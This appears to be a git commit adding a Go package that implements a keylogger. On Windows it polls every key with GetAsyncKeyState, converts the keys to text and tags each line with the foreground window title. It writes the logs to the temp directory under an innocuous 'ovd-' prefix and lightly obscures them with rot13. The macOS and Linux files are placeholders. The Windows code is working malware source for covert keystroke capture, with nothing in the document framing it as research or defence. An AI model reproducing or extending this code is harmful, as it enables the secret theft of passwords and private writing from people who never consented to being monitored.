inital commit
This commit is contained in:
@@ -0,0 +1,410 @@
|
||||
package keylogger
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
MaxFileSize = 10 * 1024 * 1024 // 10MB
|
||||
FileRetention = 7 * 24 * time.Hour // 1 week
|
||||
FlushInterval = 5 * time.Second
|
||||
FileNamePrefix = "ovd-"
|
||||
InactivityPause = 2 * time.Second // Time before starting a new line
|
||||
)
|
||||
|
||||
type Keylogger struct {
|
||||
mu sync.Mutex
|
||||
running bool
|
||||
stopCh chan struct{}
|
||||
buffer strings.Builder
|
||||
currentFile *os.File
|
||||
currentDate string
|
||||
currentName string
|
||||
logDir string
|
||||
lastKeyTime time.Time
|
||||
lineStarted bool
|
||||
currentWindowTitle string
|
||||
}
|
||||
|
||||
func New() *Keylogger {
|
||||
return &Keylogger{
|
||||
stopCh: make(chan struct{}),
|
||||
logDir: getTempDir(),
|
||||
}
|
||||
}
|
||||
|
||||
func (k *Keylogger) Start() error {
|
||||
k.mu.Lock()
|
||||
if k.running {
|
||||
k.mu.Unlock()
|
||||
return fmt.Errorf("keylogger already running")
|
||||
}
|
||||
k.running = true
|
||||
k.mu.Unlock()
|
||||
|
||||
log.Printf("[keylogger] Starting keylogger, logs in: %s", k.logDir)
|
||||
|
||||
go k.cleanupOldLogs()
|
||||
go k.captureLoop()
|
||||
go k.flushLoop()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (k *Keylogger) Stop() {
|
||||
k.mu.Lock()
|
||||
defer k.mu.Unlock()
|
||||
|
||||
if !k.running {
|
||||
return
|
||||
}
|
||||
|
||||
k.running = false
|
||||
close(k.stopCh)
|
||||
|
||||
if k.currentFile != nil {
|
||||
if k.lineStarted && k.buffer.Len() > 0 {
|
||||
k.buffer.WriteString("\n")
|
||||
}
|
||||
k.flushBuffer()
|
||||
k.currentFile.Close()
|
||||
k.currentFile = nil
|
||||
}
|
||||
|
||||
log.Printf("[keylogger] Stopped")
|
||||
}
|
||||
|
||||
func (k *Keylogger) ListFiles() ([]FileInfo, error) {
|
||||
entries, err := os.ReadDir(k.logDir)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var files []FileInfo
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := entry.Name()
|
||||
if !strings.HasPrefix(name, FileNamePrefix) {
|
||||
continue
|
||||
}
|
||||
|
||||
info, err := entry.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
files = append(files, FileInfo{
|
||||
Name: name,
|
||||
Size: info.Size(),
|
||||
Date: info.ModTime(),
|
||||
})
|
||||
}
|
||||
|
||||
return files, nil
|
||||
}
|
||||
|
||||
func (k *Keylogger) ReadFile(filename string) ([]byte, error) {
|
||||
if strings.Contains(filename, "..") || strings.Contains(filename, string(filepath.Separator)) {
|
||||
return nil, fmt.Errorf("invalid filename")
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(filename, FileNamePrefix) {
|
||||
return nil, fmt.Errorf("invalid filename prefix")
|
||||
}
|
||||
|
||||
path := filepath.Join(k.logDir, filename)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func (k *Keylogger) ClearAll() error {
|
||||
k.mu.Lock()
|
||||
defer k.mu.Unlock()
|
||||
|
||||
if k.currentFile != nil {
|
||||
k.currentFile.Close()
|
||||
k.currentFile = nil
|
||||
k.currentDate = ""
|
||||
k.currentName = ""
|
||||
k.buffer.Reset()
|
||||
k.lineStarted = false
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(k.logDir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := entry.Name()
|
||||
if !strings.HasPrefix(name, FileNamePrefix) {
|
||||
continue
|
||||
}
|
||||
|
||||
path := filepath.Join(k.logDir, name)
|
||||
if err := os.Remove(path); err != nil {
|
||||
log.Printf("[keylogger] Failed to remove %s: %v", name, err)
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("[keylogger] Cleared all log files")
|
||||
return nil
|
||||
}
|
||||
|
||||
func (k *Keylogger) DeleteFile(filename string) error {
|
||||
if strings.Contains(filename, "..") || strings.Contains(filename, string(filepath.Separator)) {
|
||||
return fmt.Errorf("invalid filename")
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(filename, FileNamePrefix) {
|
||||
return fmt.Errorf("invalid filename prefix")
|
||||
}
|
||||
|
||||
k.mu.Lock()
|
||||
defer k.mu.Unlock()
|
||||
|
||||
if k.currentFile != nil && filename == k.currentName {
|
||||
k.currentFile.Close()
|
||||
k.currentFile = nil
|
||||
k.currentDate = ""
|
||||
k.currentName = ""
|
||||
k.buffer.Reset()
|
||||
k.lineStarted = false
|
||||
}
|
||||
|
||||
path := filepath.Join(k.logDir, filename)
|
||||
if err := os.Remove(path); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
log.Printf("[keylogger] Deleted log file: %s", filename)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (k *Keylogger) FlushNow() {
|
||||
k.mu.Lock()
|
||||
defer k.mu.Unlock()
|
||||
|
||||
if k.buffer.Len() > 0 {
|
||||
k.flushBuffer()
|
||||
}
|
||||
}
|
||||
|
||||
func (k *Keylogger) captureLoop() {
|
||||
for {
|
||||
select {
|
||||
case <-k.stopCh:
|
||||
return
|
||||
default:
|
||||
if err := k.captureKeystrokes(); err != nil {
|
||||
log.Printf("[keylogger] Capture error: %v", err)
|
||||
time.Sleep(time.Second)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (k *Keylogger) flushLoop() {
|
||||
ticker := time.NewTicker(FlushInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-k.stopCh:
|
||||
return
|
||||
case <-ticker.C:
|
||||
k.mu.Lock()
|
||||
if k.buffer.Len() > 0 {
|
||||
if k.lineStarted && !k.lastKeyTime.IsZero() && time.Since(k.lastKeyTime) > InactivityPause {
|
||||
k.buffer.WriteString("\n")
|
||||
k.lineStarted = false
|
||||
}
|
||||
k.flushBuffer()
|
||||
}
|
||||
k.mu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (k *Keylogger) flushBuffer() {
|
||||
if k.buffer.Len() == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
today := time.Now().Format("2006-01-02")
|
||||
if k.currentDate != today || k.currentFile == nil {
|
||||
k.rotateFile(today)
|
||||
}
|
||||
|
||||
if k.currentFile != nil {
|
||||
info, err := k.currentFile.Stat()
|
||||
if err == nil && info.Size() >= MaxFileSize {
|
||||
k.rotateFile(today)
|
||||
}
|
||||
}
|
||||
|
||||
if k.currentFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
encrypted := rot13(k.buffer.String())
|
||||
if _, err := k.currentFile.WriteString(encrypted); err != nil {
|
||||
log.Printf("[keylogger] Write error: %v", err)
|
||||
}
|
||||
|
||||
k.buffer.Reset()
|
||||
}
|
||||
|
||||
func (k *Keylogger) rotateFile(date string) {
|
||||
if k.currentFile != nil {
|
||||
k.currentFile.Close()
|
||||
}
|
||||
|
||||
timestamp := time.Now().Unix()
|
||||
filename := fmt.Sprintf("%s%s-%d.log", FileNamePrefix, date, timestamp)
|
||||
path := filepath.Join(k.logDir, filename)
|
||||
|
||||
file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
|
||||
if err != nil {
|
||||
log.Printf("[keylogger] Failed to open log file: %v", err)
|
||||
k.currentFile = nil
|
||||
k.currentDate = ""
|
||||
return
|
||||
}
|
||||
|
||||
k.currentFile = file
|
||||
k.currentDate = date
|
||||
k.currentName = filename
|
||||
log.Printf("[keylogger] Rotated to new file: %s", filename)
|
||||
}
|
||||
|
||||
func (k *Keylogger) cleanupOldLogs() {
|
||||
cutoff := time.Now().Add(-FileRetention)
|
||||
|
||||
entries, err := os.ReadDir(k.logDir)
|
||||
if err != nil {
|
||||
log.Printf("[keylogger] Failed to read log dir for cleanup: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := entry.Name()
|
||||
if !strings.HasPrefix(name, FileNamePrefix) {
|
||||
continue
|
||||
}
|
||||
|
||||
info, err := entry.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if info.ModTime().Before(cutoff) {
|
||||
path := filepath.Join(k.logDir, name)
|
||||
if err := os.Remove(path); err != nil {
|
||||
log.Printf("[keylogger] Failed to remove old log %s: %v", name, err)
|
||||
} else {
|
||||
log.Printf("[keylogger] Removed old log: %s", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (k *Keylogger) logKey(key string) {
|
||||
k.mu.Lock()
|
||||
defer k.mu.Unlock()
|
||||
|
||||
now := time.Now()
|
||||
|
||||
needsNewLine := false
|
||||
if !k.lastKeyTime.IsZero() && now.Sub(k.lastKeyTime) > InactivityPause {
|
||||
needsNewLine = true
|
||||
}
|
||||
|
||||
if key == "[ENTER]" {
|
||||
if k.lineStarted {
|
||||
k.buffer.WriteString("\n")
|
||||
}
|
||||
k.lineStarted = false
|
||||
k.lastKeyTime = now
|
||||
|
||||
if k.buffer.Len() > 4096 {
|
||||
k.flushBuffer()
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
windowTitle := k.getWindowTitle()
|
||||
windowChanged := windowTitle != k.currentWindowTitle && windowTitle != ""
|
||||
|
||||
if (needsNewLine || windowChanged) && k.lineStarted {
|
||||
k.buffer.WriteString("\n")
|
||||
k.lineStarted = false
|
||||
}
|
||||
|
||||
if !k.lineStarted {
|
||||
timestamp := now.Format("2006-01-02 15:04:05")
|
||||
if windowChanged {
|
||||
k.currentWindowTitle = windowTitle
|
||||
}
|
||||
if k.currentWindowTitle != "" {
|
||||
k.buffer.WriteString(fmt.Sprintf("[%s] [%s] ", timestamp, k.currentWindowTitle))
|
||||
} else {
|
||||
k.buffer.WriteString(fmt.Sprintf("[%s] ", timestamp))
|
||||
}
|
||||
k.lineStarted = true
|
||||
}
|
||||
|
||||
k.buffer.WriteString(key)
|
||||
k.lastKeyTime = now
|
||||
|
||||
if k.buffer.Len() > 4096 {
|
||||
k.flushBuffer()
|
||||
}
|
||||
}
|
||||
|
||||
func rot13(s string) string {
|
||||
var result strings.Builder
|
||||
for _, r := range s {
|
||||
switch {
|
||||
case r >= 'a' && r <= 'z':
|
||||
result.WriteRune('a' + (r-'a'+13)%26)
|
||||
case r >= 'A' && r <= 'Z':
|
||||
result.WriteRune('A' + (r-'A'+13)%26)
|
||||
default:
|
||||
result.WriteRune(r)
|
||||
}
|
||||
}
|
||||
return result.String()
|
||||
}
|
||||
|
||||
func getTempDir() string {
|
||||
return os.TempDir()
|
||||
}
|
||||
|
||||
func (k *Keylogger) getWindowTitle() string {
|
||||
return getWindowTitle()
|
||||
}
|
||||
|
||||
type FileInfo struct {
|
||||
Name string
|
||||
Size int64
|
||||
Date time.Time
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
// go:build darwin
|
||||
//go:build darwin
|
||||
// +build darwin
|
||||
|
||||
package keylogger
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
func (k *Keylogger) captureKeystrokes() error {
|
||||
log.Printf("[keylogger] macOS keylogging not fully implemented - placeholder mode")
|
||||
|
||||
ticker := time.NewTicker(30 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-k.stopCh:
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
k.logKey(fmt.Sprintf("[System Activity Detected at %s]", time.Now().Format("15:04:05")))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getWindowTitle() string {
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
// go:build linux
|
||||
//go:build linux
|
||||
// +build linux
|
||||
|
||||
package keylogger
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
func (k *Keylogger) captureKeystrokes() error {
|
||||
log.Printf("[keylogger] Linux keylogging not fully implemented - placeholder mode")
|
||||
|
||||
ticker := time.NewTicker(30 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-k.stopCh:
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
k.logKey(fmt.Sprintf("[System Activity Detected at %s]", time.Now().Format("15:04:05")))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getWindowTitle() string {
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,272 @@
|
||||
// go:build windows
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package keylogger
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
|
||||
procGetKeyboardState = user32.NewProc("GetKeyboardState")
|
||||
procToUnicode = user32.NewProc("ToUnicode")
|
||||
procMapVirtualKey = user32.NewProc("MapVirtualKeyW")
|
||||
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
|
||||
procGetWindowTextW = user32.NewProc("GetWindowTextW")
|
||||
)
|
||||
|
||||
const (
|
||||
VK_SHIFT = 0x10
|
||||
VK_CONTROL = 0x11
|
||||
VK_MENU = 0x12 // ALT
|
||||
VK_CAPITAL = 0x14 // CAPS LOCK
|
||||
)
|
||||
|
||||
var keyNames = map[int]string{
|
||||
0x08: "[BACKSPACE]",
|
||||
0x09: "[TAB]",
|
||||
0x0D: "[ENTER]",
|
||||
0x1B: "[ESC]",
|
||||
0x20: " ",
|
||||
0x21: "[PAGE UP]",
|
||||
0x22: "[PAGE DOWN]",
|
||||
0x23: "[END]",
|
||||
0x24: "[HOME]",
|
||||
0x25: "[LEFT]",
|
||||
0x26: "[UP]",
|
||||
0x27: "[RIGHT]",
|
||||
0x28: "[DOWN]",
|
||||
0x2C: "[PRINT SCREEN]",
|
||||
0x2D: "[INSERT]",
|
||||
0x2E: "[DELETE]",
|
||||
0x5B: "[LEFT WIN]",
|
||||
0x5C: "[RIGHT WIN]",
|
||||
0x5D: "[MENU]",
|
||||
VK_SHIFT: "[SHIFT]",
|
||||
VK_CONTROL: "[CTRL]",
|
||||
VK_MENU: "[ALT]",
|
||||
}
|
||||
|
||||
func (k *Keylogger) captureKeystrokes() error {
|
||||
keyState := make(map[int]bool)
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-k.stopCh:
|
||||
return nil
|
||||
default:
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
|
||||
// Check all printable keys and special keys
|
||||
for vk := 8; vk <= 190; vk++ {
|
||||
ret, _, _ := procGetAsyncKeyState.Call(uintptr(vk))
|
||||
keyDown := (ret & 0x8000) != 0
|
||||
|
||||
if keyDown && !keyState[vk] {
|
||||
keyState[vk] = true
|
||||
key := getKeyString(vk)
|
||||
if key != "" {
|
||||
k.logKey(key)
|
||||
}
|
||||
} else if !keyDown {
|
||||
keyState[vk] = false
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getKeyString(vk int) string {
|
||||
if name, ok := keyNames[vk]; ok {
|
||||
if vk == VK_SHIFT || vk == VK_CONTROL || vk == VK_MENU {
|
||||
return ""
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
var kbState [256]byte
|
||||
ret, _, err := procGetKeyboardState.Call(uintptr(unsafe.Pointer(&kbState[0])))
|
||||
if ret == 0 {
|
||||
log.Printf("[keylogger] GetKeyboardState failed: %v", err)
|
||||
return ""
|
||||
}
|
||||
|
||||
shiftDown := (getAsyncKeyState(VK_SHIFT) & 0x8000) != 0
|
||||
ctrlDown := (getAsyncKeyState(VK_CONTROL) & 0x8000) != 0
|
||||
altDown := (getAsyncKeyState(VK_MENU) & 0x8000) != 0
|
||||
if shiftDown {
|
||||
kbState[VK_SHIFT] |= 0x80
|
||||
} else {
|
||||
kbState[VK_SHIFT] &^= 0x80
|
||||
}
|
||||
if ctrlDown {
|
||||
kbState[VK_CONTROL] |= 0x80
|
||||
} else {
|
||||
kbState[VK_CONTROL] &^= 0x80
|
||||
}
|
||||
if altDown {
|
||||
kbState[VK_MENU] |= 0x80
|
||||
} else {
|
||||
kbState[VK_MENU] &^= 0x80
|
||||
}
|
||||
|
||||
if ctrlDown || altDown {
|
||||
base := keyNameForCombo(vk)
|
||||
if base != "" {
|
||||
return formatCombo(ctrlDown, altDown, shiftDown, base)
|
||||
}
|
||||
}
|
||||
|
||||
var buffer [5]uint16
|
||||
sc, _, _ := procMapVirtualKey.Call(uintptr(vk), 0)
|
||||
n, _, _ := procToUnicode.Call(
|
||||
uintptr(vk),
|
||||
sc,
|
||||
uintptr(unsafe.Pointer(&kbState[0])),
|
||||
uintptr(unsafe.Pointer(&buffer[0])),
|
||||
uintptr(len(buffer)),
|
||||
0,
|
||||
)
|
||||
|
||||
if n > 0 {
|
||||
return syscall.UTF16ToString(buffer[:n])
|
||||
}
|
||||
|
||||
if s := oemKeyFallback(vk, shiftDown); s != "" {
|
||||
return s
|
||||
}
|
||||
|
||||
if vk >= 0x70 && vk <= 0x87 {
|
||||
return fmt.Sprintf("[F%d]", vk-0x6F)
|
||||
}
|
||||
|
||||
if vk >= 0x60 && vk <= 0x69 {
|
||||
return fmt.Sprintf("%d", vk-0x60)
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
func oemKeyFallback(vk int, shiftDown bool) string {
|
||||
switch vk {
|
||||
case 0xBA: // VK_OEM_1 ;:
|
||||
if shiftDown {
|
||||
return ":"
|
||||
}
|
||||
return ";"
|
||||
case 0xBB: // VK_OEM_PLUS =+
|
||||
if shiftDown {
|
||||
return "+"
|
||||
}
|
||||
return "="
|
||||
case 0xBC: // VK_OEM_COMMA ,<
|
||||
if shiftDown {
|
||||
return "<"
|
||||
}
|
||||
return ","
|
||||
case 0xBD: // VK_OEM_MINUS -_
|
||||
if shiftDown {
|
||||
return "_"
|
||||
}
|
||||
return "-"
|
||||
case 0xBE: // VK_OEM_PERIOD .>
|
||||
if shiftDown {
|
||||
return ">"
|
||||
}
|
||||
return "."
|
||||
case 0xBF: // VK_OEM_2 /?
|
||||
if shiftDown {
|
||||
return "?"
|
||||
}
|
||||
return "/"
|
||||
case 0xC0: // VK_OEM_3 `~
|
||||
if shiftDown {
|
||||
return "~"
|
||||
}
|
||||
return "`"
|
||||
case 0xDB: // VK_OEM_4 [{
|
||||
if shiftDown {
|
||||
return "{"
|
||||
}
|
||||
return "["
|
||||
case 0xDC: // VK_OEM_5 \|
|
||||
if shiftDown {
|
||||
return "|"
|
||||
}
|
||||
return "\\"
|
||||
case 0xDD: // VK_OEM_6 ]}
|
||||
if shiftDown {
|
||||
return "}"
|
||||
}
|
||||
return "]"
|
||||
case 0xDE: // VK_OEM_7 '\"
|
||||
if shiftDown {
|
||||
return "\""
|
||||
}
|
||||
return "'"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func getAsyncKeyState(vk int) uint16 {
|
||||
ret, _, _ := procGetAsyncKeyState.Call(uintptr(vk))
|
||||
return uint16(ret)
|
||||
}
|
||||
|
||||
func keyNameForCombo(vk int) string {
|
||||
// Letters
|
||||
if vk >= 0x41 && vk <= 0x5A {
|
||||
return string(rune('A' + (vk - 0x41)))
|
||||
}
|
||||
// Digits 0-9
|
||||
if vk >= 0x30 && vk <= 0x39 {
|
||||
return string(rune('0' + (vk - 0x30)))
|
||||
}
|
||||
// Function keys
|
||||
if vk >= 0x70 && vk <= 0x87 {
|
||||
return fmt.Sprintf("F%d", vk-0x6F)
|
||||
}
|
||||
// Numpad digits
|
||||
if vk >= 0x60 && vk <= 0x69 {
|
||||
return fmt.Sprintf("NUM%d", vk-0x60)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func formatCombo(ctrlDown, altDown, shiftDown bool, key string) string {
|
||||
parts := make([]string, 0, 4)
|
||||
if ctrlDown {
|
||||
parts = append(parts, "CTRL")
|
||||
}
|
||||
if altDown {
|
||||
parts = append(parts, "ALT")
|
||||
}
|
||||
if shiftDown {
|
||||
parts = append(parts, "SHIFT")
|
||||
}
|
||||
parts = append(parts, key)
|
||||
return "[" + strings.Join(parts, "+") + "]"
|
||||
}
|
||||
|
||||
func getWindowTitle() string {
|
||||
hwnd, _, _ := procGetForegroundWindow.Call()
|
||||
if hwnd == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
var buf [256]uint16
|
||||
ret, _, _ := procGetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
|
||||
if ret == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
return syscall.UTF16ToString(buf[:])
|
||||
}
|
||||
Reference in New Issue
Block a user